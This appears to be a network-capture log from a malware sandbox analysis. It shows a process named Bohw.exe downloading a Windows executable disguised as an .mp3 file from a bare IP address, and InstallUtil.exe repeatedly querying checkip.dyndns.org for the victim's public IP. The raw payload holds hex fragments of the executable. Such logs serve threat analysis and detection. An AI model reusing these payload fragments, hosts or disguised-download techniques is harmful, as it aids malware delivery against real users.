Sep 26, 2024 15:11:10.687983036 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ce7c39b135fd564008c1ee7a0d3e6b47 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49727	172.86.66.70	80	6024	C:\Users\user\AppData\Roaming\Bohw.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:09.002895117 CEST	80	OUT	GET /y3/Tzxjiauolcg.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
Sep 26, 2024 15:11:09.617249966 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:09 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 07:28:13 GMT ETag: "1c0400-622ec908c3d40" Accept-Ranges: bytes Content-Length: 1836032 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 30 41 34 36 32 30 42 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 46 41 30 44 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 37 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103000A4620B90000000000000000E0000E210B01300000FA0D0000060000000000007E190E000020000000200E000000400000200000000200000400000000000000040000000000000000600E0000020000000000000300408500001000001000000000100000100000000000000F000000000000000000000030190E004B00000000200E00240300000000000000000000000000000000000000400E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000084F90D000020000000FA0D0000020000000000000000000000000000200000602E727372630000002403000000200E000004000000FC0D00000000000000000000000000400000C02E72656C6F6300000C00000000400E0
Sep 26, 2024 15:11:09.617273092 CEST	1236	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 36 Data Ascii: 00002000000000E00000000000000000000000000400000420000000000000000000000000000000060190E0000000000480000000200050034C10100783802000100000000000000ACF90300F41C0A00A4180E0080000000000000000000000000000000000000000000000000000000000000000000000013
Sep 26, 2024 15:11:09.617285013 CEST	448	IN	Data Raw: 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 45 30 30 30 30 30 30 35 37 30 30 30 30 30 30 33 38 30 30 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 32 38 42 31 30 38 30 30 30 36 32 30 30 32 30 30 30 Data Ascii: 000FE0C00004503000000050000002E0000005700000038000000007E9602000428B108000620020000007E600200047B5D02000439CCFFFFFF26200200000038C1FFFFFF7E9502000428AD08000620000000007E600200047B6A0200043AA3FFFFFF2620000000003898FFFFFF2A120000172A000000120000
Sep 26, 2024 15:11:09.617360115 CEST	1236	IN	Data Raw: 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 35 30 30 30 30 30 30 30 36 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 30 30 30 30 30 30 30 30 32 41 37 45 39 36 30 32 30 30 30 Data Ascii: 0FE0E00003800000000FE0C0000450300000005000000060000002F00000038000000002A7E9602000428B108000620000000007E600200047B8002000439CBFFFFFF26200000000038C0FFFFFF7E9502000428AD08000620010000007E600200047B6B02000439A2FFFFFF2620010000003897FFFFFF120000
Sep 26, 2024 15:11:09.617374897 CEST	1236	IN	Data Raw: 30 37 45 36 30 30 32 30 30 30 34 37 42 34 44 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 36 30 32 30 30 30 34 32 38 42 31 30 38 30 30 30 36 32 30 30 32 30 30 30 Data Ascii: 07E600200047B4D0200043ACCFFFFFF26200000000038C1FFFFFF2A7E9602000428B108000620020000007E600200047B630200043AA2FFFFFF2620020000003897FFFFFF120000172A000000120000142A0000001330060004000000000000000000142A133003008000000001000011288503000620020000
Sep 26, 2024 15:11:09.617387056 CEST	1236	IN	Data Raw: 30 30 32 30 30 30 34 37 42 38 42 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 38 30 33 30 30 30 30 32 42 38 30 33 44 30 30 30 30 30 34 32 30 31 31 30 30 30 30 30 30 33 38 39 32 46 45 46 46 46 46 32 30 31 Data Ascii: 00200047B8B020004617EBA0200042841090006280300002B803D00000420110000003892FEFFFF2012C43969200A5FBD14617E600200047B91020004617EBA0200042841090006203228CFAD20CC19AD81617E600200047B58020004617EBA0200042841090006280400002B8046000004201F000000383EFE
Sep 26, 2024 15:11:09.617400885 CEST	1236	IN	Data Raw: 45 36 30 30 32 30 30 30 34 37 42 34 33 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 45 45 38 32 45 39 34 44 32 30 30 33 30 30 30 30 30 30 36 32 32 30 45 39 32 46 31 44 31 44 36 31 37 45 36 30 30 32 30 Data Ascii: E600200047B43020004617EBA020004284109000620EE82E94D20030000006220E92F1D1D617E600200047B64020004617EBA0200042841090006280A00002B803E000004200E0000003801FCFFFF2012C439692077DA3A64617E600200047B8B020004617EBA020004284109000620E4F8985165202A16A3E9
Sep 26, 2024 15:11:09.617455006 CEST	1236	IN	Data Raw: 34 37 42 36 34 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 38 31 30 30 30 30 30 32 42 38 30 33 34 30 30 30 30 30 34 32 30 32 33 30 30 30 30 30 30 37 45 36 30 30 32 30 30 30 34 37 42 36 37 30 32 30 30 30 Data Ascii: 47B64020004617EBA0200042841090006281000002B803400000420230000007E600200047B670200043AB7F9FFFF26200000000038ACF9FFFF7E9602000428B108000620250000007E600200047B470200043A8EF9FFFF26200D0000003883F9FFFF200E8DBDDD20C9D1409661204ED7EB4F617E600200047B
Sep 26, 2024 15:11:09.617506027 CEST	1236	IN	Data Raw: 46 32 36 32 30 30 35 30 30 30 30 30 30 33 38 37 30 46 37 46 46 46 46 32 30 39 42 41 33 33 31 30 46 32 30 30 36 30 30 30 30 30 30 36 32 32 30 34 39 36 44 37 45 43 38 36 31 37 45 36 30 30 32 30 30 30 34 37 42 36 31 30 32 30 30 30 34 36 31 37 45 42 Data Ascii: F2620050000003870F7FFFF209BA3310F20060000006220496D7EC8617E600200047B61020004617EBA0200042841090006206AA781FB20A74572A6617E600200047B47020004617EBA0200042841090006281600002B804A00000420020000003816F7FFFF2049448C2920CCA35E6B617E600200047B550200
Sep 26, 2024 15:11:09.617517948 CEST	776	IN	Data Raw: 38 30 42 36 31 37 45 36 30 30 32 30 30 30 34 37 42 39 31 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 37 45 45 43 43 44 42 37 32 30 37 38 44 42 34 46 45 43 36 31 37 45 36 30 30 32 30 30 30 34 37 42 33 Data Ascii: 80B617E600200047B91020004617EBA0200042841090006207EECCDB72078DB4FEC617E600200047B34020004617EBA0200042841090006281C00002B803C00000420090000007E600200047B3402000439BCF4FFFF26202200000038B1F4FFFF204BCF52DC20752060F361204EB93D10617E600200047B2702
Sep 26, 2024 15:11:09.622318029 CEST	1236	IN	Data Raw: 36 32 38 31 46 30 30 30 30 32 42 38 30 32 41 30 30 30 30 30 34 32 30 31 44 30 30 30 30 30 30 37 45 36 30 30 32 30 30 30 34 37 42 37 30 30 32 30 30 30 34 33 39 36 46 46 33 46 46 46 46 32 36 32 30 30 39 30 30 30 30 30 30 33 38 36 34 46 33 46 46 46 Data Ascii: 6281F00002B802A000004201D0000007E600200047B70020004396FF3FFFF2620090000003864F3FFFF20D87958B620040000006320AC6534DB617E600200047B7C020004617EBA0200042841090006206F5DE4D220B165DDC2617E600200047B77020004617EBA0200042841090006282000002B803B000004

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49729	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:11.319370031 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:13.898607016 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:13 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 4d0f8ec8f6133105bee1b1f22fb9e08f Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49730	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:13.915049076 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:16.491647005 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:16 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 08a0f57416f5206376995fc9b9819588 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49731	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:16.603334904 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:18.296664000 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7497d39772c6b614ea304478226edd2a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49732	172.86.66.70	80	4528	C:\Users\user\AppData\Roaming\Bohw.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:17.045401096 CEST	80	OUT	GET /y3/Tzxjiauolcg.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
Sep 26, 2024 15:11:17.662123919 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:17 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 07:28:13 GMT ETag: "1c0400-622ec908c3d40" Accept-Ranges: bytes Content-Length: 1836032 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 30 41 34 36 32 30 42 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 46 41 30 44 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 37 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103000A4620B90000000000000000E0000E210B01300000FA0D0000060000000000007E190E000020000000200E000000400000200000000200000400000000000000040000000000000000600E0000020000000000000300408500001000001000000000100000100000000000000F000000000000000000000030190E004B00000000200E00240300000000000000000000000000000000000000400E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000084F90D000020000000FA0D0000020000000000000000000000000000200000602E727372630000002403000000200E000004000000FC0D00000000000000000000000000400000C02E72656C6F6300000C00000000400E0
Sep 26, 2024 15:11:17.662179947 CEST	224	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 36 Data Ascii: 00002000000000E00000000000000000000000000400000420000000000000000000000000000000060190E0000000000480000000200050034C10100783802000100000000000000ACF90300F41C0A00A4180E008000000000000000000000000000000000000000000000000000000
Sep 26, 2024 15:11:17.662239075 CEST	1236	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 33 33 30 30 33 30 30 39 43 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 35 30 33 30 30 30 36 32 30 30 34 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 Data Ascii: 00000000000000000133003009C0000000100001128850300062004000000FE0E00003800000000FE0C00004505000000390000005D00000014000000150000000500000038340000002803000006200300000038D3FFFFFF2A280400000620000000007E600200047B5E0200043AB9FFFFFF26200000000038
Sep 26, 2024 15:11:17.662293911 CEST	1236	IN	Data Raw: 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 Data Ascii: 000172A000000120000142A000000120000142A000000120000002A000000120000142A000000120000002A0000000330080004000000000000000000002A011C00000200540177CB0164000000000000770343BA03391700000113300300800000000100001128850300062002000000FE0E00003800000000
Sep 26, 2024 15:11:17.662328959 CEST	1236	IN	Data Raw: 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 Data Ascii: 0120000142A000000120000142A000000120000142A000000120000142A000000120000172A00000013300300800000000100001128850300062001000000FE0E00003800000000FE0C000045030000002F000000050000002E000000382A0000007E9502000428AD08000620000000007E600200047B4D0200
Sep 26, 2024 15:11:17.662349939 CEST	1236	IN	Data Raw: 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 41 38 34 38 34 36 44 45 32 30 33 38 37 43 43 34 38 35 36 31 37 45 36 30 30 32 30 30 30 34 37 42 33 34 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 Data Ascii: EBA020004284109000620A84846DE20387CC485617E600200047B34020004617EBA0200042841090006280200002B802F000004201000000038ECFEFFFF20121028E52001000000632053FA95C8617E600200047B40020004617EBA020004284109000620935F6DF12026436EFC617E600200047B8B02000461
Sep 26, 2024 15:11:17.662372112 CEST	1236	IN	Data Raw: 45 36 30 30 32 30 30 30 34 37 42 32 41 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 33 42 37 41 35 36 35 43 32 30 44 33 33 45 33 36 31 41 35 38 32 30 38 31 31 36 37 33 31 30 36 31 37 45 36 30 30 32 30 Data Ascii: E600200047B2A020004617EBA0200042841090006203B7A565C20D33E361A582081167310617E600200047B49020004617EBA0200042841090006280900002B802900000420170000007E600200047B4A0200043967FCFFFF262014000000385CFCFFFF20E2BB0BAC66208B630719617E600200047B43020004
Sep 26, 2024 15:11:17.662386894 CEST	552	IN	Data Raw: 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 33 42 46 42 46 34 44 39 32 30 35 46 34 43 34 35 41 43 36 31 37 45 36 30 30 32 30 30 30 34 37 42 33 35 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 Data Ascii: 4617EBA0200042841090006203BFBF4D9205F4C45AC617E600200047B35020004617EBA0200042841090006280F00002B802B000004201E0000003816FAFFFF2006CF2BFE20FF2BF9BC617E600200047B55020004617EBA020004284109000620E2BB0BAC6620B07FA521617E600200047B64020004617EBA02
Sep 26, 2024 15:11:17.662403107 CEST	1236	IN	Data Raw: 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 38 31 31 30 30 30 30 32 42 38 30 33 36 30 30 30 30 30 34 32 30 30 34 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 31 42 46 39 46 46 46 46 32 30 37 35 42 42 42 43 45 45 32 30 31 Data Ascii: 17EBA0200042841090006281100002B80360000042004000000FE0E0000381BF9FFFF2075BBBCEE201123BEBE6120D6AD800B617E600200047B34020004617EBA020004284109000620BD434E1A2086071D49617E600200047B3A020004617EBA0200042841090006281200002B802E000004201B00000038C5
Sep 26, 2024 15:11:17.662420988 CEST	1236	IN	Data Raw: 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 38 31 37 30 30 30 30 32 42 38 30 34 31 30 30 30 30 30 34 32 30 32 34 30 30 30 30 30 30 33 38 42 43 46 36 46 46 46 46 32 30 36 35 34 30 46 46 30 32 32 30 30 32 42 32 43 35 45 46 36 31 32 30 39 30 32 Data Ascii: 200042841090006281700002B8041000004202400000038BCF6FFFF206540FF022002B2C5EF6120902E17C8617E600200047B38020004617EBA02000428410900062050C31CA520C6311D9F617E600200047B40020004617EBA0200042841090006281800002B802D00000420000000007E600200047B810200
Sep 26, 2024 15:11:17.667294025 CEST	1236	IN	Data Raw: 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 38 31 44 30 30 30 30 32 42 38 30 33 31 30 30 30 30 30 34 32 30 31 34 30 30 30 30 30 30 37 45 36 30 30 32 30 30 30 34 37 42 34 43 30 32 30 30 30 34 33 39 34 37 46 34 46 46 46 46 32 36 32 30 30 Data Ascii: A0200042841090006281D00002B803100000420140000007E600200047B4C0200043947F4FFFF262006000000383CF4FFFF201B46A30E20010000006220B7D4A946617E600200047B82020004617EBA0200042841090006209FC7F824201026A904617E600200047B7C020004617EBA0200042841090006281E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49734	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:22.518721104 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:24.738370895 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 068778bf7a3c727476e47e59da157828 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:24.742810965 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:27.125816107 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 28459956aaf93b1fd5f8c479423f7465 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:27.906323910 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
